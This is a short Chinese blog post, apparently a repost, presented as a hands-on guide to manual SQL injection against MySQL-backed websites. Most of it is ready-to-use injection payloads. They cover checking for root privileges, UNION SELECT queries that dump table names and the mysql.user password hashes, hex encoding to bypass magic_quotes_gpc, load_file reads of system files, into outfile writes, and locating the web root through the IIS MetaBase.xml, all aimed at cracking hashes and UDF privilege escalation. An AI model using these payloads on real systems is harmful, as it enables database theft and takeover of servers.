MySql 手工注入实战

it2022-05-07  4

1.如何判断权限是否为root and ord(mid(user(),1,1))=114 返回正常 即为ROOT权限, 2.注入点只有一个地方显示数据,如何查询多条数据 假设这个注入点 只有3 如何显示多条数据? 使用concat函数。 格式concat(user(),database(),version(),@@datadir) root@localhosthyxy5.1.40-communityC:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\ 这样不好看? 可以自己加个空格 oot@localhost hyxy 5.1.40-community C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\ 这是数据,如果是想同时爆出所有数据库、表、列 即可用group_concat and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- 3.如何使用十六进制绕过 ' mysql数据库自带一个函数 hex 即可把字符转换成hex16进制 当然 用unhex 即可反之。 select hex('isosky'); select unhex('69736F736B79'); 4.为什么root权限读入不了文件 (1)root被降权了 (2)linux服务器必须对目录有权限才可操作 (3)php.ini中的magic_quotes_gpc 为on 这个变量主要就是防止黑客攻击的 当为on时,不能直接输入路径,我们可以转换为hex绕过!当然我们也就可以通过这样来判断他的magic_quotes_gpc 的状态! load_file('c:/boot.ini') 失败 load_file(0x633A2F626F6F742E696E69) 即可 5.为什么root没有写入权限 (1)root被降权了 (2)linux服务器必须对目录有权限才可操作 (3)同样是由于magic_quotes_gpc为on 是不可写入的。从第四个问题我们已经知道这台服务器的magic_quotes_gpc 是为on 所以是不能写入的。 可以测试一下。 'test'into outfile'c://1.txt' 返回错误 并没有写入成功! 6.windows服务器不知道路径,但是我想查到数据库的密码,这样可以直接拿到密码进行udf提权 怎么做? select user,password,host from mysql.user 即可查询到 这个注入点的权限为root 自然对mysql数据库有查询权限 当然因为magic_quotes_gpc 为on 所以要使用hex绕过' 修改后即为 select  concat(unhex(hex(cast(user as char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host as char))))  from mysql.user (hex(cast((user as char))) 把user使用char类型查看然后转换为hex 这样得出的结果是hex 但是查询要是铭文 所以还要unhex,这样即可查询到用户.完善之后 root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Blocalhost 为了好看,可以加个空格或者冒号 root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B:localhost   然后我们补充到注入点即为 and 1=2 union select 1,2,(select  concat(unhex(hex(cast(user as char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host as char))))  from mysql.user limit 0,10),4,5,6,7,8,9,10 没有设定limit 显示的行数,结果爆出,害得我找半天。。 设定一下limit即可. root:*DA042342E98014F25016DB9ACB43BD9ACE038343:localhost 之后破解hash即可UDF提权。 CMD5 就是这么不给力! 7.更多函数、技巧 + 可以代替空格 比如 select 1,2,3,4,5 可以转换为 select+1,2,3,4,5 在注入点ID前面加个 - 号 可以代替 and 1=2 我想想。。。嗯。。实在想不到了。暂时就这么多吧。有问题可以单独和谐。。 ---------------------------------------------- 补充一个技巧: IIS可以通过读取IIS配置文件找到网站路径! c:\\windows\\system32\\inetsrv\\MetaBase.xml

转载于:https://www.cnblogs.com/amwld/archive/2011/06/27/2091593.html

相关资源:mysql注入大全讲解(很详细哦)

最新回复(0)